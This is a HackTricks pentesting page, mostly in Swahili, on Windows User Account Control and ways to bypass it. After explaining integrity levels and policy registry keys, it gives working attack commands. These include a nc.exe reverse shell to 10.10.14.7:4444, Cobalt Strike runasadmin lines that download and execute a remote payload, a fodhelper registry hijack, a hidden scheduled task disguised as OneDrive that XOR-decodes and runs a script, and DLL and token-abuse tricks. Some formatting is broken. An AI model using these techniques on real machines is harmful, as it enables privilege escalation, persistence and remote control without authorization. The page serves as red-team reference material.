UAC - User Account Control

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Vinjari katalogi kamili ya HackTricks Training kwa ajili ya njia za assessment (ARTA/GRTA/AzRTA) na Linux Hacking Expert (LHE).

Support HackTricks

• Angalia subscription plans!
• Jiunge na 💬 Discord group, telegram group, fuata @hacktricks_live kwenye X/Twitter, au angalia LinkedIn page na YouTube channel.
• Shiriki hacking tricks kwa kutuma PRs kwenye HackTricks na HackTricks Cloud github repos.

UAC

User Account Control (UAC) ni kipengele kinachowezesha consent prompt kwa elevated activities. Applications zina viwango tofauti vya integrity, na program yenye high level inaweza kufanya kazi ambazo zinaweza kwa potenciali ku-compromise system. UAC ikiwa imewezeshwa, applications na tasks daima zina-run chini ya security context ya account isiyo ya administrator isipokuwa administrator aidhinishe waziwazi applications/tasks hizi ziwe na administrator-level access kwenye system ili zi-run. Ni kipengele cha urahisi kinachowalinda administrators dhidi ya mabadiliko yasiyokusudiwa lakini hakizingatiwi kuwa security boundary.

Kwa maelezo zaidi kuhusu integrity levels:

Integrity Levels

Wakati UAC ipo, administrator user hupewa tokens 2: standard user key, ya kufanya actions za kawaida kama regular level, na moja yenye admin privileges.

Hili page linajadili kwa kina jinsi UAC inavyofanya kazi na linajumuisha logon process, user experience, na UAC architecture. Administrators wanaweza kutumia security policies kusanidi jinsi UAC inavyofanya kazi mahsusi kwa organization yao katika local level (kwa kutumia secpol.msc), au kusanidiwa na kusukumwa kupitia Group Policy Objects (GPO) ndani ya Active Directory domain environment. Settings mbalimbali zinajadiliwa kwa undani hapa. Kuna Group Policy settings 10 zinazoweza kuwekwa kwa UAC. Jedwali lifuatalo linatoa maelezo ya ziada:

Policies for installing software on Windows

local security policies (“secpol.msc” kwenye systems nyingi) zimesanidiwa kwa default kuzuia non-admin users kufanya software installations. Hii ina maana kwamba hata kama non-admin user anaweza kupakua installer ya software yako, hataweza kui-run bila admin account.

Registry Keys to Force UAC to Ask for Elevation

As a standard user with no admin rights, unaweza kuhakikisha kwamba account ya “standard” inaombwa credentials na UAC inapojaribu kufanya actions fulani. Action hii ingebidi irekebishe baadhi ya registry keys, ambazo unahitaji admin permissions kuzibadilisha, isipokuwa kuwe na UAC bypass, au attacker tayari ameingia kama admin.

Hata kama user yuko katika group la Administrators, mabadiliko haya humlazimisha user kuingiza tena credentials za account yake ili kufanya administrative actions.

Kikwazo pekee ni kwamba mbinu hii inahitaji UAC iwe disabled ili ifanye kazi, jambo ambalo si la kawaida katika production environments.

Registry keys na entries unazopaswa kubadilisha ni zifuatazo (zikiwa na default values ndani ya mabano):

• HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System:
• ConsentPromptBehaviorUser = 1 (3)
• ConsentPromptBehaviorAdmin = 1 (5)
• PromptOnSecureDesktop = 1 (1)

Hili pia linaweza kufanywa manually kupitia Local Security Policy tool. Baada ya kubadilishwa, administrative operations humprompt user kuingiza tena credentials zake.

Note

User Account Control si security boundary. Kwa hiyo, standard users hawawezi kutoka nje ya accounts zao na kupata administrator rights bila local privilege escalation exploit.

Ask for ‘full computer access’ to a user

hostname | Set-Clipboard
Enable-PSRemoting -SkipNetworkProfileCheck -Force

cd C:\Users\hacedorderanas\Desktop
New-PSSession -Name "Case ID: 1527846" -ComputerName hostname
Enter-PSSession -ComputerName hostname

UAC Privileges

• Internet Explorer Protected Mode hutumia integrity checks ili kuzuia processes za high-integrity-level (kama web browsers) kufikia data za low-integrity-level (kama temporary Internet files folder). Hii hufanywa kwa kuendesha browser na low-integrity token. Wakati browser inapojaribu kufikia data iliyohifadhiwa kwenye low-integrity zone, operating system hukagua integrity level ya process na huruhusu access kulingana na hilo. Feature hii husaidia kuzuia attacks za remote code execution zisipate access kwa sensitive data kwenye system.
• Wakati user anapo log on to Windows, system huunda access token inayobeba list ya privileges za user huyo. Privileges hufafanuliwa kama mchanganyiko wa rights na capabilities za user. Token pia hubeba list ya credentials za user, ambazo ni credentials zinazotumika kum authenticate user kwa computer na kwa resources kwenye network.

Autoadminlogon

Ili kusanidi Windows ili i-log on automatically user maalum wakati wa startup, weka AutoAdminLogon registry key. Hii ni muhimu kwa kiosk environments au kwa testing purposes. Tumia hii tu kwenye systems salama, kwa sababu huonyesha password kwenye registry.

Weka keys zifuatazo ukitumia Registry Editor au reg add:

• HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon:
• AutoAdminLogon = 1
• DefaultUsername = username
• DefaultPassword = password

Ili kurudisha normal logon behavior, weka AutoAdminLogon kuwa 0.

UAC bypass

Tip

Kumbuka kwamba ikiwa una graphical access kwa victim, UAC bypass ni straight forward kwa sababu unaweza tu kubofya “Yes” wakati UAC prompt inaonekana

UAC bypass inahitajika katika hali ifuatayo: UAC imeanzishwa, process yako inaendeshwa katika medium integrity context, na user wako ni wa group la administrators.

Ni muhimu kutaja kwamba ni ngumu zaidi sana bypass UAC ikiwa iko kwenye highest security level (Always) kuliko ikiwa iko kwenye levels nyingine zozote (Default).

UAC disabled

Ikiwa UAC tayari imezimwa (ConsentPromptBehaviorAdmin ni 0) unaweza kutekeleza reverse shell yenye admin privileges (high integrity level) ukitumia kitu kama:

#Put your reverse shell instead of "calc.exe"
Start-Process powershell -Verb runAs "calc.exe"
Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10.14.7 4444"

UAC bypass with token duplication

• https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/
• https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html

Very Basic UAC “bypass” (full file system access)

Ikiwa una shell na mtumiaji ambaye yuko ndani ya group la Administrators unaweza mount the C$ lililosambazwa kupitia SMB (file system) local kwenye disk mpya na utakuwa na access to everything inside the file system (hata folda ya nyumbani ya Administrator).

Warning

Inaonekana kama hila hii haifanyi kazi tena

net use Z: \\127.0.0.1\c$
cd C$

#Or you could just access it:
dir \\127.0.0.1\c$\Users\Administrator\Desktop

UAC bypass with cobalt strike

Mbinu za Cobalt Strike zitafanya kazi tu ikiwa UAC haijawekwa katika kiwango chake cha juu cha usalama

# UAC bypass via token duplication
elevate uac-token-duplication [listener_name]
# UAC bypass via service
elevate svc-exe [listener_name]

# Bypass UAC with Token Duplication
runasadmin uac-token-duplication powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
# Bypass UAC with CMSTPLUA COM interface
runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"

Empire na Metasploit pia zina moduli kadhaa za bypass ya UAC.

KRBUACBypass

Documentation na tool iko katika https://github.com/wh0amitz/KRBUACBypass

UAC bypass exploits

UACME ambayo ni compilation ya exploits kadhaa za UAC bypass. Kumbuka kuwa utahitaji compile UACME ukitumia visual studio au msbuild. Compilation itatengeneza executables kadhaa (kama Source\Akagi\outout\x64\Debug\Akagi.exe) , utahitaji kujua ni ipi unayohitaji.
Unapaswa kuwa mwangalifu kwa sababu baadhi ya bypasses zitaweza kudokeza baadhi ya programs nyingine ambazo zitaweza kumuonya user kwamba kuna kitu kinatokea.

UACME ina build version kutoka ambayo kila technique ilianza kufanya kazi. Unaweza kutafuta technique inayogusa versions zako:

PS C:\> [environment]::OSVersion.Version

Major  Minor  Build  Revision
-----  -----  -----  --------
10     0      14393  0

Pia, kwa kutumia hii ukurasa unapata Windows release 1607 kutoka kwa build versions.

UAC Bypass – fodhelper.exe (Registry hijack)

Binary inayoaminika fodhelper.exe ina auto-elevated kwenye Windows za kisasa. Inapoanzishwa, huuliza per-user registry path hapa chini bila kuthibitisha verb ya DelegateExecute. Kuweka command hapo kunaruhusu process ya Medium Integrity (user yuko kwenye Administrators) kuanzisha process ya High Integrity bila UAC prompt.

Registry path queried by fodhelper:

HKCU\Software\Classes\ms-settings\Shell\Open\command

</details>
Notes:
- Hufanya kazi wakati mtumiaji wa sasa ni mwanachama wa Administrators na kiwango cha UAC ni default/lenient (sio Always Notify with extra restrictions).
- Tumia njia ya `sysnative` kuanzisha 64-bit PowerShell kutoka kwa 32-bit process kwenye 64-bit Windows.
- Payload inaweza kuwa amri yoyote (PowerShell, cmd, au njia ya EXE). Epuka kuonyesha UIs kwa stealth.

#### CurVer/extension hijack variant (HKCU only)

Recent samples abusing `fodhelper.exe` avoid `DelegateExecute` and instead **redirect the `ms-settings` ProgID** via the per-user `CurVer` value. The auto-elevated binary still resolves the handler under `HKCU`, so no admin token is needed to plant the keys:
```powershell
# Point ms-settings to a custom extension (.thm) and map that extension to our payload
New-Item -Path "HKCU:\Software\Classes\.thm\Shell\Open" -Force | Out-Null
New-ItemProperty -Path "HKCU:\Software\Classes\.thm\Shell\Open\command" -Name "(default)" -Value "C:\\ProgramData\\rKXujm.exe" -Force | Out-Null
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings" -Name "CurVer" -Value ".thm" -Force

Start-Process "C:\\Windows\\System32\\fodhelper.exe"   # auto-elevates and runs rKXujm.exe

schtasks /create /sc hourly /tn "OneDrive Startup Task" /rl highest /tr "cmd /c powershell -w hidden $d=[IO.File]::ReadAllBytes('C:\ProgramData\VljE\zVJs.ps1');$k=[Text.Encoding]::UTF8.GetBytes('Q');for($i=0;$i -lt $d.Length;$i++){$d[$i]=$d[$i]-bxor$k[$i%$k.Length]};iex ([Text.Encoding]::UTF8.GetString($d))"

copy iscsiexe.dll %TEMP%\iscsiexe.dll
reg add "HKCU\Environment" /v Path /t REG_SZ /d "%TEMP%" /f
C:\Windows\System32\cmd.exe /c C:\Windows\SysWOW64\iscsicpl.exe

$pid = Invoke-RAiProcessRunOnce
$p = Get-Process -Id $pid
$t = Get-NtToken -Process $p
$id = New-NtTokenDuplicate -Token $t -ImpersonationLevel Identification
Invoke-NtToken $id -ImpersonationLevel Identification { Get-NtDirectory "\??" | Out-Null }
$auth = Get-NtTokenId -Authentication -Token $id
New-NtSymbolicLink "\Sessions\0\DosDevices/$auth/C:" "\??\\C:\\Users\\attacker\\loot"